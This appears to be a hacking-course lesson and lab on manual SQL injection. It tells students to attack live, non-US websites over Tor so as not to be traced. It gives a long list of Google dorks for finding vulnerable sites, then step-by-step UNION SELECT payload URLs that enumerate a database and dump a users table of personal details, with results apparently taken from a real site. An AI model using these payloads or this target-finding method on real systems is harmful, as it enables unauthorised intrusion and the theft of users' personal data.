Web Application Hacking – Manual SQL Injection

- Review lecture on the Manual sql injection(below)
- Complete lab on Manual SQL Injection(below)

I will warn you, this might be a slightly longer lesson. Its longer because its teaching MANUAL SQL injection. I won't lie, nobody does manual sql injection but until you master the ideas here, running automated sql injection attacks won't teach you WHY the attack is working. Also guys who run automated sql tools without knowing why they work or don't work are Script Kiddies.

WARNING: COMPLETE THIS LAB USING TOR!!!! VERIFY YOUR IP ADDRESS BEFORE STARTING TOR AND THEN VERIFY YOUR IP ADDRESS ONCE YOU START TOR TO ENSURE YOU TRULY ARE USING THE TOR NETWORK (www.whatismyip.com)

YOU WILL BE LOOKING AT LIVE SITES. ALSO WHEN YOU GO THROUGH THE GOOGLE DORKS , MAKE SURE THAT YOU USE A SITE THAT IS NOT LOCATED IN THE USA.

Lecture for SQL Injection

SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. SQL injection attacks are also known as SQL insertion attacks.

Step-by-Step tutorial for SQL Injection

Step 1: Find a website that is vulnerable to the attack. This is the first step in SQLi and like every other hack attack is the most time consuming, and is the only time consuming step. Once you get through this, rest is a cake-walk. Now, let us all know what kind of pages are vulnerable to this attack. We are providing you with a few dorks(google strings to find vulnerable sites). Though at the end of this post, we'll provide a list of vulnerable sites.

Dorks:
"inurl:index.php?catid="
"inurl:news.php?catid="
"inurl:index.php?id="
"inurl:news.php?id="
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurl:Stray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=

```
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:ogl_inet.php?ogl_id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:opinions.php?id=
inurl:spr.php?id=
inurl:pages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:participant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:prod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurl:person.php?id=
inurl:productinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurl:profile_view.php?id=
inurl:category.php?id=
inurl:publications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurl:prod_info.php?id=
inurl:shop.php?do=part&id=
inurl:productinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurl:product.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurl:produit.php?id=
inurl:pop.php?id=
inurl:shopping.php?id=
inurl:productdetail.php?id=
inurl:post.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurl:page.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurl:product_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:transcript.php?id=
inurl:channel_id=
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:pages.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
```

inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:opinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurl:offer.php?idf=
inurl:art.php?idm=
inurl:title.php?id=
and you can also write your own.

How to check if a webpage is vulnerable to this attack???
Once you execute the dorks and get the preferred search results. Say for example
hxxp://www.abcd.com/index.php?catid=1

Add a ' (apos) at the end of the URL. Such that the URL looks like hxxp://www.abcd.com/index.php?catid=1'

If the page returns an SQL error, the page is vulnerable to SQLi. If it loads normally, leave the page and move on to the next site in the search result.

Typical errors you'll get after appending the apostrophe are:

```
Warning: mysql_fetch_array():
Warning: mysql_fetch_assoc():
Warning: mysql_numrows():
Warning: mysql_num_rows():
Warning: mysql_result():
Warning: mysql_preg_match():
```

Step 2:Once you find a vulnerable site, you need to enumerate the number of columns and those columns that are accepting the queries from you.

Append an 'order by' statement to the URL.
eg. hxxp://www.abcd.com/index.php?catid=1 order by 1

Continue increasing the number after order by till you get an error. So the highest number for which you do not get an error is the number of columns in the table. Now to know the column numbers which are accepting the queries.

Append an 'Union Select' statement to the URL. Also precede the number after "id=" with a hyphen or minus.
Say from the above step, you got that the table has 6 columns.
eg. hxxp://www.abcd.com/index.php?catid=-1 union select 1,2,3,4,5,6

Result of this query will be the column numbers that are accepting the queries. Say we get 2,3,4 as the result. Now we'll inject our SQL statements in one of these columns.

Step 3: Enumerating the SQL version
We'll use the mysql command @@version or version() to get the version of the db. We have to inject the command in one of the open columns. Say we use column number 2.

eg. hxxp://www.abcd.com/index.php?catid=-1 union select 1,@@version,3,4,5,6

You'll get the version of the database in the place where you had got the number 2. If the starting of the version number is 5 or more, then you are good to go. If less move on to another site.

Step 4: Expolit
To get list of databases:
hxxp://www.abcd.com/index.php?catid=-1 union select 1,group_concat(schema_name),3,4,5,6 from information_schema.schemata--

Result will display a list of databases on the site. Here on, we'll write the results we have got from our test.
Result: information_schema,vrk_mlm

To know the current database in use:
hxxp://www.abcd.com/index.php?catid=-1 union select 1,concat(database()),3,4,5,6--
Result: vrk_mlm

To get the current user:
hxxp://www.abcd.com/index.php?catid=-1 union select 1,concat(user()),3,4,5,6--
Result: vrk_4mlm@localhost

To get the tables:
hxxp://www.abcd.com/index.php?catid=-1 union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database()--
Result: administrator,category,product,users

We'll concentrate our attack on the users table.

To get the columns:
hxxp://www.abcd.com/index.php?catid=-1 union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_schema=database()--
Result: admin_id,user_name,password,user_type,status,catID,catName,prodId,catID,prodName,prodDesc, prodKeyword,prodPrice,prodImage,id,incredible_id,f_name,m_name,l_name,refered_by_id,

refered_direct_to_ids,refered_to_ids,no_of_direct_referals,credits,position,
email_id,password,edited_on,last_login,created_on,chain_number,phone,address

By lookin at the columns closely, and the order of the tables, we can conclude that starting from id,incredible_id are the columns belonging to the users table and we are interested in that.

Extract information:

```
union select group_concat(id,0x3a,incredible_id,0x3a,f_name,0x3a,m_name,0x3a,l_name,0x3a,refered_by_id,0x3a,refered_direct_to_ids,0x3a) from vrk_mlm.users--
```

- **Proof of Lab Instructions**:
  1. Do a <PrtScn>
  2. Paste into a word document
  3. Email to me
-